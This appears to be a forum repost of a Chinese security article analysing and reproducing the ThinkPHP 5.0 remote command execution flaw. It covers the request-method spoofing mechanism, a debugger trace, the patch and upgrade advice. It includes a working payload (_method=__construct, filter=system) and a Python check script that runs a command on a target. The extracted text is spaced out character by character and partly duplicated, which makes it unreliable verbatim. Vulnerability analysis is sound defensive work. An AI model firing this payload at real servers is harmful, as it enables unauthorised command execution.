搜索

[13697] 2019-01-26_ThinkPHP5.0命令执行漏洞分析及复现

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-18
2019-01-26_ThinkPHP5.0命令执行漏洞分析及复现 T h i n k P H P   5 . 0 命 令 执 行 漏 洞 分 析 及 复 现 小 纨 绔   F r e e B u f   2 0 1 9 - 0 1 - 2 6 T h i n k P H P   5 . 0   版 本 是 一 个 颠 覆 和 重 构 版 本 ， 也 是 版 本 是 一 个 颠 覆 和 重 构 版 本 ， 也 是 T h i n k P H P   十 周 年 献 礼 版 本 ， 基 于 十 周 年 献 礼 版 本 ， 基 于   P H P 5 . 4   设 计 （ 完 美 支 持 设 计 （ 完 美 支 持 P H P 7   ） ， 采 用 全 新 的 架 构 思 想 ， 引 入 了 很 多 的 ） ， 采 用 全 新 的 架 构 思 想 ， 引 入 了 很 多 的   P H P   新 特 性 ， 优 化 了 核 心 ， 减 少 了 依 赖 ， 支 持 新 特 性 ， 优 化 了 核 心 ， 减 少 了 依 赖 ， 支 持 C o m p o s e r   ， 实 ， 实 现 了 真 正 的 惰 性 加 载 ， 并 且 为 现 了 真 正 的 惰 性 加 载 ， 并 且 为   A P I   开 发 做 了 深 入 的 支 持 ， 在 功 能 、 性 能 以 及 灵 活 性 方 面 都 较 为 突 出 开 发 做 了 深 入 的 支 持 ， 在 功 能 、 性 能 以 及 灵 活 性 方 面 都 较 为 突 出   。 。 漏 洞 描 述 漏 洞 描 述 T h i n k P H P 5 . 0 在 核 心 代 码 中 实 现 了 表 单 请 求 类 型 伪 装 的 功 能 ， 该 功 能 利 用 变 量 来 传 递 真 实 的 请 求 方 法 ， 当 攻 击 者 设 置 时 ， R e q u e s t 类 的 m e t h o d 方 法 便 会 将 该 类 的 变 量 进 行 覆 盖 ， 攻 击 者 利 用 该 方 式 将 f i l t e r 变 量 覆 盖 为 s y s t e m 等 函 数 名 ， 当 内 部 进 行 参 数 过 滤 时 便 会 进 行 执 行 任 意 命 令 。 影 响 范 围 影 响 范 围 T h i n k P H P   5 . 0 . 0   ~   T h i n k P H P   5 . 0 . 2 3 什 么 是 表 单 请 求 类 型 伪 装 什 么 是 表 单 请 求 类 型 伪 装 如 上 表 单 ， 可 以 在 表 单 里 面 提 交 变 量 ， 传 入 需 要 伪 装 的 请 求 类 型   ， 该 请 求 从 客 户 端 看 来 是 P O S T 请 求 ， 而 服 务 器 会 将 该 请 求 识 别 P U T 请 求 并 进 行 处 理 ， 其 中 变 量 可 以 在 文 件 中 进 行 修 改 。 该 特 性 的 作 用 ： 安 全 防 护   ， 隐 藏 自 己 真 实 请 求 信 息 ； 整 合 现 有 应 用 系 统   ， 例 如 现 有 的 应 用 系 统 A 的 接 口 只 接 受 p u t 请 求 ， 而 你 的 应 用 系 统 B 只 能 发 起 p o s t 请 求 。 漏 洞 复 现 漏 洞 复 现 环 境 环 境 条 件 条 件 操 作 操 作 $ _ P O S T [ ' _ m e t h o d ' ] $ _ P O S T [ ' _ m e t h o d ' ] = _ _ c o n s t r u c t < f o r m   m e t h o d = " p o s t "   a c t i o n = " " >         < i n p u t   t y p e = " t e x t "   n a m e = " n a m e "   v a l u e = " H e l l o " >         < i n p u t   t y p e = " h i d d e n "   n a m e = " _ m e t h o d "   v a l u e = " P U T "   >         < i n p u t   t y p e = " s u b m i t "   v a l u e = " 提 交 " > < / f o r m > P O S T _ m e t h o d _ m e t h o d a p p l i c a t i o n c o n f i g . p h p / /   表 单 请 求 类 型 伪 装 变 量 ' v a r _ m e t h o d '                           = >   ' _ m e t h o d ' , O S                 :   w i n d o w s 7 W e b s e r v e r   :   p h p s t u d y     ( a p a c h e   +   p h p 5 . 6 . 2 7 ) t h i n k p h p     :   5 . 0 . 2 0 / /   开 启 t h i n k p h p 的 调 试 模 式 ，   文 件 a p p l i c a t i o n c o n f i g . p h p / /   应 用 调 试 模 式 ' a p p _ d e b u g '                             = >   t r u e , c d   D : p h p S t u d y W W W g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t o p - t h i n k / t h i n k   t p 5 g i t   c h e c k o u t   v 5 . 0 . 2 2 c d   t p 5 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t o p - t h i n k / f r a m e w o r k   t h i n k p h p g i t   c h e c k o u t   v 5 . 0 . 2 2
开 启 t h i n k p h p 的 d e b u g 模 式 开 启 a p a c h e ， 发 送 p a y l o a d ： 漏 洞 分 析 漏 洞 分 析 利 用 x d e b u g + p h p s t o r m 进 行 调 试 ， 配 置 方 式 请 大 家 自 行 搜 索 。 t h i n k p h p 采 用 f i l t e r 对 请 求 参 数 进 行 过 滤 ， 默 认 的 f i l t e r 在 c o n f i g . p h p 中 为 空 字 符 串 ， t h i n k p h p 首 先 会 设 置 默 认 的 过 滤 函 数 ： / /   开 启 t h i n k p h p 的 调 试 模 式 ，   文 件 a p p l i c a t i o n c o n f i g . p h p / /   应 用 调 试 模 式 ' a p p _ d e b u g '                             = >   t r u e ,
f i l t e r 被 设 置 为 空 字 符 串 ， 继 续 跟 踪 在 路 由 检 查 内 部 会 对 R e q u e s t 类 的 f i l t e r 变 量 进 行 覆 盖 ， 跟 进 r o u t e C h e c k 函 数 。 再 上 图 中 调 用 关 键 方 法 ， 跟 进 ： $ r e q u e s r - > m e t h o d ( )
可 以 发 现 该 函 数 会 获 取 用 户 传 入 的 变 量 ， 并 调 用 方 法 ， 跟 进 ： f i l t e r 变 量 被 设 置 成 ， 继 续 ： 当 d e b u g 模 式 开 启 时 ， 会 记 录 请 求 信 息 ， 会 调 用 方 法 ， 跟 进 ： _ m e t h o d = _ _ c o n s t r u c t _ _ c o n s t r u c t s y s t e m $ r e q u e s t - > p a r a m ( )
如 上 ， 根 据 f i l t e r 变 量 设 置 过 滤 器 ， 跟 进 ： 过 滤 器 变 成 了 数 组 ， 跟 进 函 数 ： [ ' s y s t e m ' ] a r r a y _ w a l k _ r e c u r s i v e
该 函 数 内 会 对 参 数 进 行 过 滤 ， 调 用 了 ， 完 成 了 命 令 执 行 ， 结 果 如 下 ： 接 下 来 ， t h i n k p h p 在 执 行 模 块 的 过 程 中 还 会 再 一 次 设 置 默 认 f i l t e r ， 使 得 ， 但 是 不 会 再 次 覆 盖 f i l t e r 为 s y s t e m ， 所 以 接 下 来 的 一 次 过 滤 并 没 有 能 够 再 次 执 行 命 令 。 c a l l _ u s e r _ f u n c ( ' s y s t e m ' ,   ' d i r ' ) f i l t e r = ' '
整 个 执 行 流 程 如 下   ：
官 方 补 丁 官 方 补 丁 官 方 补 丁 中 限 制 了 可 疑 设 置 的 请 求 方 法 ， 并 在 处 理 之 后 将 其 u n s e t ， 无 法 再 利 用 进 行 变 量 覆 盖 。 _ m e t h o d _ m e t h o d _ _ c o n s t r u c t
漏 洞 修 复 漏 洞 修 复 升 级 到 5 . 0 . 2 4 及 以 上 ， 不 用 开 启 d e b u g 模 式 。 检 测 脚 本 检 测 脚 本 总 结 总 结 该 漏 洞 主 要 是 ： 表 单 请 求 类 型 伪 装   +   f i l t e r 参 数   =   覆 盖 变 量 f i l t e r ； 变 量 覆 盖 f i l t e r   +   d e b u g 模 式   +   执 行 f i l t e r   =   命 令 执 行 。 * 本 文 作 者 ： 小 纨 绔 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 #   c o d i n g = u t f - 8 i m p o r t   r e q u e s t s d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t = 3 ) :         u r l   =   ' h t t p : / / { i p } : { p o r t } / t p 5 / p u b l i c / i n d e x . p h p ' . f o r m a t ( i p = i p ,   p o r t = p o r t )         #   u r l   =   ' h t t p : / / { i p } : { p o r t } / i n d e x . p h p ' . f o r m a t ( i p = i p ,   p o r t = p o r t )         d a t a   =   {                 ' _ m e t h o d ' : ' _ _ c o n s t r u c t ' ,                 ' f i l t e r ' : ' s y s t e m ' ,                 ' a ' : ' e c h o   a b c d ' ,         }         h e a d e r s   =   {                 ' c o n t e n t - t y p e '   :   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' ,                 ' u s e r - a g e n t '   :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 1 . 0 . 3 5 7 8 . 9 8   S a f a r i / 5 3 7 . 3 6 ' ,                 ' A c c e p t '   :   ' t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 '         }         r e s p   =   r e q u e s t s . p o s t ( u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   t i m e o u t = t i m e o u t )         i f   r e s p . c o n t e n t . f i n d ( ' a b c d ' )   ! =   - 1 :                 r e t u r n   ' t h i n k p h p 5 . 0   命 令 执 行 ： '   +   u r l i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p r i n t   c h e c k ( ' 1 2 7 . 0 . 0 . 1 ' ,   ' 8 0 ' )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理